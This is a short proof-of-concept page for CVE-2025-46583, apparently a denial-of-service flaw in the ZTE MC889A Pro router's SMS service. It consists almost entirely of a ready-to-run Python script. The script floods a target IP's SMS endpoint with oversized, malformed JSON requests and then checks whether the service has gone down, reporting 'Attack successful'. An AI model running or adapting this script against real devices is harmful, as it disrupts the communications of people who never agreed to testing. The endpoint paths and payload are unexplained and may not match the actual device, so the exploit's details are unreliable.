CVE-2025-46583 ZTE MC889A Pro 短信服务拒绝服务漏洞

# CVE-2025-46583 PoC - ZTE MC889A Pro SMS DoS # Description: Denial of Service via SMS service interface due to insufficient input validation import requests import sys import time def send_malicious_sms(target_ip, payload_size=10000): """ Send malformed SMS request to trigger DoS condition """ # Construct malicious SMS request with oversized/ malformed payload sms_endpoint = f"http://{target_ip}/api/sms/send" # Malformed payload that triggers DoS malicious_payload = { "phone_number": "1234567890", "message": "A" * payload_size, # Oversized message "encoding": "invalid_encoding", # Invalid encoding parameter "timestamp": None # Null timestamp } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(sms_endpoint, json=malicious_payload, headers=headers, timeout=10) print(f"[*] Request sent to {sms_endpoint}") print(f"[*] Response status: {response.status_code}") return response.status_code == 200 or response.status_code == 500 except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def verify_dos(target_ip): """ Verify if SMS service is unavailable after attack """ sms_endpoint = f"http://{target_ip}/api/sms/status" try: response = requests.get(sms_endpoint, timeout=10) if response.status_code != 200: print("[+] DoS condition confirmed - SMS service unavailable") return True except: print("[+] DoS condition confirmed - SMS service unavailable") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-46583_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Starting DoS attack on {target}") print(f"[*] Target: ZTE MC889A Pro SMS Service") # Send multiple malformed requests for i in range(10): print(f"[*] Sending request {i+1}/10") send_malicious_sms(target) time.sleep(0.5) # Verify DoS condition time.sleep(2) if verify_dos(target): print("[+] Attack successful - SMS service DoS achieved")